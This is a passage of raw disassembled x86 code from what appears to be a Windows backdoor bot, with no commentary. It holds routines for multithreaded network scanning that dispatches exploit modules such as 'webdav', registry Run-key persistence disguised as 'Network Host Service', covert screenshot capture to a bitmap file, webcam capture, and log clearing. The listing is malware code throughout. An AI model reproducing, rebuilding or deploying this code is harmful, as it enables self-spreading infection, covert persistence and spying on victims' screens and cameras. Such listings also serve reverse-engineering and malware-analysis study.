		mov	[esp+2A8h+var_2A8], offset dword_434160
		call	dword_422014	; RtlLeaveCriticalSection
		jmp	loc_401B36
; ---------------------------------------------------------------------------


loc_401A8B:				; CODE XREF: sub_401950+BEj
		push	edi
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416905
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aWebdav ; "webdav"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_416905
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_401ACF
		lea	eax, [ebp+var_140]


loc_401ACF:				; CODE XREF: sub_401950+177j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_416905
		mov	eax, [ebp+var_40]
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		pop	ecx
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		rep movsd
		call	off_42E06C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_401B36:				; CODE XREF: sub_401950+B4j
					; sub_401950+136j
		push	7D0h
		call	dword_422000	; Sleep


loc_401B41:				; CODE XREF: sub_401950+47j
		mov	eax, dword_43B244[ebx]
		cmp	dword_4331C4[eax*8], 0
		jnz	loc_40199C
		push	esi
		call	sub_41397A
		pop	ecx
		push	0
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_401950	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B65	proc near		; DATA XREF: sub_409806+462Do
					; sub_409806+6018o

var_20C		= dword	ptr -20Ch
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		pop	ecx
		mov	esi, eax
		xor	ebx, ebx
		lea	edi, [ebp+var_14C]
		rep movsd
		inc	ebx
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_43A414	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		mov	dword_4331C0[ecx*8], eax
		push	53h
		pop	ecx
		lea	esi, [ebp+var_14C]
		mov	edi, esp
		rep movsd
		call	sub_401141
		push	9
		call	sub_4138A6
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_401C33
		mov	esi, offset dword_434160
		push	esi
		call	dword_422024	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_422020	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_401C33
		lea	eax, [ebp+var_1CC]
		push	offset aScanFailedToIn ; "[SCAN]: Failed to initialize critical	s"...
		push	eax
		call	sub_416905
		xor	ebx, ebx
		cmp	[ebp+var_10], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401C1D
		push	ebx
		push	[ebp+var_14]
		lea	eax, [ebp+var_1CC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_405D20
		add	esp, 14h


loc_401C1D:				; CODE XREF: sub_401B65+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_401ECD
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_401C33:				; CODE XREF: sub_401B65+63j
					; sub_401B65+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_422000
		mov	dword_4331C4[eax*8], ebx
		mov	edi, ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_401CF5


loc_401C51:				; CODE XREF: sub_401B65+18Aj
		push	edi
		push	[ebp+var_2C]
		lea	eax, [ebp+var_14C]
		push	[ebp+var_38]
		mov	[ebp+var_24], edi
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		call	sub_416905
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	9
		push	eax
		call	sub_4136B6
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_28], eax
		imul	eax, 234h
		add	esp, 24h
		push	ebx
		push	ebx
		mov	dword_43B244[eax], ecx
		lea	eax, [ebp+var_14C]
		push	eax
		push	offset sub_401950
		push	ebx
		push	ebx
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43B254[ecx], eax
		jnz	short loc_401D0C
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_401ECD
		add	esp, 10h


loc_401CE7:				; CODE XREF: sub_401B65+1ACj
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_401C51


loc_401CF5:				; CODE XREF: sub_401B65+E6j
		cmp	[ebp+var_30], ebx
		jz	short loc_401D1A
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep
		jmp	short loc_401D27
; ---------------------------------------------------------------------------


loc_401D08:				; CODE XREF: sub_401B65+1AAj
		push	1Eh
		call	esi	; Sleep


loc_401D0C:				; CODE XREF: sub_401B65+159j
		cmp	[ebp+var_4], ebx
		jz	short loc_401D08
		jmp	short loc_401CE7
; ---------------------------------------------------------------------------


loc_401D13:				; CODE XREF: sub_401B65+1C0j
		push	7D0h
		call	esi	; Sleep


loc_401D1A:				; CODE XREF: sub_401B65+193j
		mov	eax, [ebp+var_2C]
		cmp	dword_4331C4[eax*8], 1
		jz	short loc_401D13


loc_401D27:				; CODE XREF: sub_401B65+1A1j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4331C0[eax*8]
		push	eax
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	sub_416905
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_401D75
		push	ebx
		push	[ebp+var_14]
		lea	eax, [ebp+var_1CC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_405D20
		add	esp, 14h


loc_401D75:				; CODE XREF: sub_401B65+1F1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_401ECD
		mov	eax, [ebp+var_2C]
		mov	dword_4331C4[eax*8], ebx
		mov	[esp+20Ch+var_20C], 0BB8h
		call	esi	; Sleep
		push	9
		call	sub_4138A6
		cmp	eax, 1
		pop	ecx
		jnz	short loc_401DAC
		push	offset dword_434160
		call	dword_422024	; RtlDeleteCriticalSection


loc_401DAC:				; CODE XREF: sub_401B65+23Aj
		push	[ebp+var_2C]
		call	sub_41397A
		pop	ecx
		push	ebx
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_401B65	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401DBD	proc near		; CODE XREF: sub_409806+3968p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	edi, offset dword_47FF38


loc_401DC7:				; CODE XREF: sub_401DBD+4Dj
		cmp	byte ptr [edi],	0
		jz	short loc_401E0E
		mov	esi, [esp+0Ch+arg_0]
		mov	eax, edi


loc_401DD2:				; CODE XREF: sub_401DBD+31j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_401DF4
		test	cl, cl
		jz	short loc_401DF0
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_401DF4
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_401DD2


loc_401DF0:				; CODE XREF: sub_401DBD+1Fj
		xor	eax, eax
		jmp	short loc_401DF9
; ---------------------------------------------------------------------------


loc_401DF4:				; CODE XREF: sub_401DBD+1Bj
					; sub_401DBD+29j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_401DF9:				; CODE XREF: sub_401DBD+35j
		test	eax, eax
		jz	short loc_401E0E
		add	edi, 0B8h
		inc	ebx
		cmp	edi, offset dword_480AB8
		jl	short loc_401DC7
		jmp	short loc_401E4F
; ---------------------------------------------------------------------------


loc_401E0E:				; CODE XREF: sub_401DBD+Dj
					; sub_401DBD+3Ej
		mov	esi, ebx
		imul	esi, 0B8h
		push	2Eh
		pop	ecx
		push	17h
		push	[esp+10h+arg_0]
		lea	edx, dword_47FF38[esi]
		xor	eax, eax
		mov	edi, edx
		push	edx
		rep stosd
		call	sub_4169C0
		push	9Fh
		push	[esp+1Ch+arg_4]
		lea	eax, dword_47FF50[esi]
		push	eax
		call	sub_4169C0
		add	esp, 18h
		inc	dword_4301A0


loc_401E4F:				; CODE XREF: sub_401DBD+4Fj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_401DBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E55	proc near		; CODE XREF: sub_409806+508Bp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aAliasList ; "-[Alias List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_47FF38


loc_401E7F:				; CODE XREF: sub_401E55+72j
		cmp	byte ptr [esi],	0
		jz	short loc_401EBA
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset aD_SS	; "%d. %s = %s"
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_416B5D
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 2Ch


loc_401EBA:				; CODE XREF: sub_401E55+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_480AB8
		jl	short loc_401E7F
		pop	edi
		pop	esi
		leave
		retn
sub_401E55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ECD	proc near		; CODE XREF: start+BEp	sub_4010CA+6Dp	...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_422028	; GetLocalTime
		mov	ebx, offset dword_438A78
		mov	edi, 80h
		mov	esi, offset dword_434A78


loc_401EEF:				; CODE XREF: sub_401ECD+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_401F06
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_4169C0
		add	esp, 0Ch


loc_401F06:				; CODE XREF: sub_401ECD+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_401EEF
		push	[ebp+arg_0]
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_416B5D
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401ECD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F41	proc near		; CODE XREF: sub_4096A7+A4p
					; sub_409806:loc_40CEBEp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_80]
		push	80h
		push	eax
		call	sub_416BB4
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_401ECD
		add	esp, 14h
		leave
		retn
sub_401F41	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F6D	proc near		; CODE XREF: sub_409806+4F7Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_434A78
		xor	ecx, ecx


loc_401F74:				; CODE XREF: sub_401F6D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_438A78
		jl	short loc_401F74
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset aLogsCleared_ ; "[LOGS]: Cleared."
		jnz	short loc_401FA4
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_401FA4:				; CODE XREF: sub_401F6D+1Fj
		push	esi
		call	sub_401ECD
		pop	ecx
		pop	esi
		retn
sub_401F6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_401FAD	proc near		; CODE XREF: .text:004147CDp
					; .text:00414A00p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_434A78


loc_401FB3:				; CODE XREF: sub_401FAD+27j
		cmp	byte ptr [esi],	0
		jz	short loc_401FC8
		push	[esp+4+arg_0]
		push	esi
		call	sub_4076F4
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_401FDA


loc_401FC8:				; CODE XREF: sub_401FAD+9j
		add	esi, 80h
		cmp	esi, offset dword_438A78
		jl	short loc_401FB3
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401FDA:				; CODE XREF: sub_401FAD+19j
		xor	eax, eax
		inc	eax
		pop	esi
		retn
sub_401FAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401FDF	proc near		; DATA XREF: sub_409806+5036o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		rep movsd
		xor	edi, edi
		xor	edx, edx
		inc	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_402032
		push	edx
		push	[ebp+var_14]
		lea	eax, [ebp+var_118]
		push	offset aLogBegin ; "[LOG]: Begin"
		push	eax
		push	[ebp+var_11C]
		call	sub_405D20
		add	esp, 14h


loc_402032:				; CODE XREF: sub_401FDF+33j
		cmp	[ebp+var_98], 0
		jz	short loc_402052
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_416C92
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_402052
		mov	[ebp+var_8], eax


loc_402052:				; CODE XREF: sub_401FDF+5Aj
					; sub_401FDF+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_434A78


loc_40205B:				; CODE XREF: sub_401FDF+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_4020B5
		cmp	byte ptr [esi],	0
		jz	short loc_4020A4
		cmp	[ebp+var_98], 0
		jz	short loc_40208A
		cmp	[ebp+var_4], 0
		jnz	short loc_40208A
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_4076F4
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4020A4


loc_40208A:				; CODE XREF: sub_401FDF+90j
					; sub_401FDF+96j
		push	edi
		push	[ebp+var_14]
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_405D20
		add	esp, 14h


loc_4020A4:				; CODE XREF: sub_401FDF+87j
					; sub_401FDF+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_438A78
		jl	short loc_40205B


loc_4020B5:				; CODE XREF: sub_401FDF+82j
		lea	eax, [ebp+var_31C]
		push	offset aLogListComplet ; "[LOG]: List complete."
		push	eax
		call	sub_416905
		xor	esi, esi
		cmp	[ebp+var_10], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4020EF
		push	esi
		push	[ebp+var_14]
		lea	eax, [ebp+var_31C]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_405D20
		add	esp, 14h


loc_4020EF:				; CODE XREF: sub_401FDF+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_401ECD
		push	[ebp+var_18]
		call	sub_41397A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_401FDF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40210D	proc near		; CODE XREF: sub_407534+1Ep
					; sub_40FAD0+34Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset aNetworkHostSer ; "Network Host Service"


loc_40211D:				; CODE XREF: sub_40210D+6Fj
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		push	off_42E4F4[edi]
		push	dword_42E4F0[edi]
		call	dword_43A3E8	; RegCreateKeyExA
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_402163
		lea	edx, [eax+1]


loc_402147:				; CODE XREF: sub_40210D+3Fj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_402147
		sub	eax, edx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_43A380	; RegSetValueExA
		jmp	short loc_40216D
; ---------------------------------------------------------------------------


loc_402163:				; CODE XREF: sub_40210D+35j
		push	esi
		push	[ebp+var_4]
		call	dword_43A3DC	; RegDeleteValueA


loc_40216D:				; CODE XREF: sub_40210D+54j
		push	[ebp+var_4]
		call	dword_43A480	; RegCloseKey
		add	edi, 8
		cmp	edi, 18h
		jb	short loc_40211D
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40210D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_402183	proc near		; CODE XREF: sub_409806+3ABAp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 484h
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_43A4E4	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+74h+var_20], edi
		jnz	short loc_4021B0
		xor	eax, eax
		jmp	loc_4023B9
; ---------------------------------------------------------------------------


loc_4021B0:				; CODE XREF: sub_402183+24j
		push	ebx
		push	8
		push	edi
		call	dword_43A410	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp+74h+var_C], eax
		call	dword_43A410	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp+74h+var_4], eax
		call	dword_43A410	; GetDeviceCaps
		cmp	eax, 8
		mov	[ebp+74h+var_10], eax
		ja	short loc_4021EA
		push	18h
		push	edi
		call	dword_43A410	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_4021EC
; ---------------------------------------------------------------------------


loc_4021EA:				; CODE XREF: sub_402183+55j
		xor	ebx, ebx


loc_4021EC:				; CODE XREF: sub_402183+65j
		push	edi
		call	dword_43A418	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp+74h+var_8], eax
		jz	loc_40239B
		mov	eax, [ebp+74h+var_C]
		mov	[ebp+74h+var_80], eax
		mov	eax, [ebp+74h+var_4]
		mov	[ebp+74h+var_7C], eax
		mov	ax, word ptr [ebp+74h+var_10]
		push	esi
		push	esi
		mov	[ebp+74h+var_76], ax
		lea	eax, [ebp+74h+var_18]
		push	eax
		push	1
		lea	eax, [ebp+74h+var_84]
		push	eax
		push	edi
		mov	[ebp+74h+var_84], 28h
		mov	[ebp+74h+var_78], 1
		mov	[ebp+74h+var_74], esi
		mov	[ebp+74h+var_70], esi
		mov	[ebp+74h+var_6C], esi
		mov	[ebp+74h+var_68], esi
		mov	[ebp+74h+var_64], ebx
		mov	[ebp+74h+var_60], ebx
		call	dword_43A4B4	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp+74h+var_1C], eax
		jz	loc_4023A6
		push	eax
		push	[ebp+74h+var_8]
		call	dword_43A32C	; SelectObject
		cmp	eax, esi
		jz	loc_4023A6
		cmp	eax, 0FFFFFFFFh
		jz	loc_4023A6
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+74h+var_4]
		push	[ebp+74h+var_C]
		push	esi
		push	esi
		push	[ebp+74h+var_8]
		call	dword_43A428	; BitBlt
		test	eax, eax
		jz	loc_4023A6
		cmp	ebx, esi
		jz	short loc_4022A3
		lea	eax, [ebp+74h+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+74h+var_8]
		call	dword_43A458	; GetDIBColorTable
		mov	ebx, eax


loc_4022A3:				; CODE XREF: sub_402183+10Aj
		mov	edi, [ebp+74h+var_10]
		imul	edi, [ebp+74h+var_4]
		mov	ecx, [ebp+74h+var_C]
		imul	edi, ecx
		push	esi
		push	80h
		push	2
		mov	eax, ebx
		shl	eax, 2
		mov	[ebp+74h+var_C], eax
		shr	edi, 3
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	esi
		mov	[ebp+74h+var_26], eax
		mov	eax, [ebp+74h+var_4]
		push	esi
		push	40000000h
		push	[ebp+74h+arg_0]
		mov	[ebp+74h+var_50], eax
		mov	ax, word ptr [ebp+74h+var_10]
		mov	[ebp+74h+var_30], 4D42h
		mov	[ebp+74h+var_2E], edx
		mov	[ebp+74h+var_2A], si
		mov	[ebp+74h+var_28], si
		mov	[ebp+74h+var_58], 28h
		mov	[ebp+74h+var_54], ecx
		mov	[ebp+74h+var_4C], 1
		mov	[ebp+74h+var_4A], ax
		mov	[ebp+74h+var_48], esi
		mov	[ebp+74h+var_44], esi
		mov	[ebp+74h+var_40], esi
		mov	[ebp+74h+var_3C], esi
		mov	[ebp+74h+var_38], ebx
		mov	[ebp+74h+var_34], esi
		call	dword_422034	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+var_4], eax
		jz	short loc_402386
		push	esi
		lea	ecx, [ebp+74h+var_14]
		push	ecx
		push	0Eh
		lea	ecx, [ebp+74h+var_30]
		push	ecx
		push	eax
		call	dword_422030	; WriteFile
		push	esi
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	28h
		lea	eax, [ebp+74h+var_58]
		push	eax
		push	[ebp+74h+var_4]
		call	dword_422030	; WriteFile
		cmp	ebx, esi
		jz	short loc_402368
		push	esi
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_484]
		push	eax
		push	[ebp+74h+var_4]
		call	dword_422030	; WriteFile


loc_402368:				; CODE XREF: sub_402183+1CBj
		push	esi
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	edi
		push	[ebp+74h+var_18]
		push	[ebp+74h+var_4]
		call	dword_422030	; WriteFile
		push	[ebp+74h+var_4]
		call	dword_42202C	; CloseHandle
		xor	esi, esi
		inc	esi


loc_402386:				; CODE XREF: sub_402183+1A1j
		push	[ebp+74h+var_1C]
		call	dword_43A41C	; DeleteObject
		push	[ebp+74h+var_8]
		call	dword_43A3C8	; DeleteDC
		mov	edi, [ebp+74h+var_20]


loc_40239B:				; CODE XREF: sub_402183+75j
		push	edi
		call	dword_43A3C8	; DeleteDC
		mov	eax, esi
		jmp	short loc_4023B8
; ---------------------------------------------------------------------------


loc_4023A6:				; CODE XREF: sub_402183+C6j
					; sub_402183+D8j ...
		push	edi
		call	dword_43A3C8	; DeleteDC
		push	[ebp+74h+var_8]
		call	dword_43A3C8	; DeleteDC
		xor	eax, eax


loc_4023B8:				; CODE XREF: sub_402183+221j
		pop	ebx


loc_4023B9:				; CODE XREF: sub_402183+28j
		pop	edi
		pop	esi
		add	ebp, 74h
		leave
		retn
sub_402183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023C0	proc near		; CODE XREF: sub_409806+3BE2p

var_38		= byte ptr -38h
var_24		= dword	ptr -24h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		inc	ebx
		push	ebx
		push	dword_438A78
		xor	esi, esi
		push	78h
		push	0A0h
		push	esi
		push	esi
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43A3D0
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_8], edi
		jnz	short loc_4023FE
		mov	eax, ebx
		jmp	loc_4025B7
; ---------------------------------------------------------------------------


loc_4023FE:				; CODE XREF: sub_4023C0+35j
		push	edi
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_40241B
		push	esi
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43A464	; SendMessageA
		jmp	short loc_40241D
; ---------------------------------------------------------------------------


loc_40241B:				; CODE XREF: sub_4023C0+47j
		xor	eax, eax


loc_40241D:				; CODE XREF: sub_4023C0+59j
		cmp	eax, esi
		jnz	short loc_402428


loc_402421:				; CODE XREF: sub_4023C0+88j
					; sub_4023C0+BCj
		mov	esi, ebx
		jmp	loc_4025AC
; ---------------------------------------------------------------------------


loc_402428:				; CODE XREF: sub_4023C0+5Fj
		push	edi
		call	dword_43A324	; IsWindow
		test	eax, eax
		jz	short loc_402445
		lea	eax, [ebp+var_38]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43A464	; SendMessageA


loc_402445:				; CODE XREF: sub_4023C0+71j
		cmp	[ebp+var_24], esi
		jz	short loc_402421
		push	edi
		call	dword_43A324	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_40246B
		push	esi
		push	esi
		push	edi
		push	[ebp+var_8]
		call	dword_43A464	; SendMessageA
		mov	[ebp+var_4], eax
		jmp	short loc_40246E
; ---------------------------------------------------------------------------


loc_40246B:				; CODE XREF: sub_4023C0+98j
		mov	[ebp+var_4], esi


loc_40246E:				; CODE XREF: sub_4023C0+A9j
		push	[ebp+var_4]
		call	sub_416DAF
		cmp	eax, esi
		pop	ecx
		mov	[ebp+var_C], eax
		jz	short loc_402421
		push	[ebp+var_4]
		call	sub_416DAF
		mov	ebx, eax
		cmp	ebx, esi
		pop	ecx
		jnz	short loc_402495
		xor	esi, esi
		inc	esi
		jmp	loc_4025AC
; ---------------------------------------------------------------------------


loc_402495:				; CODE XREF: sub_4023C0+CBj
		push	[ebp+var_8]
		call	dword_43A324	; IsWindow
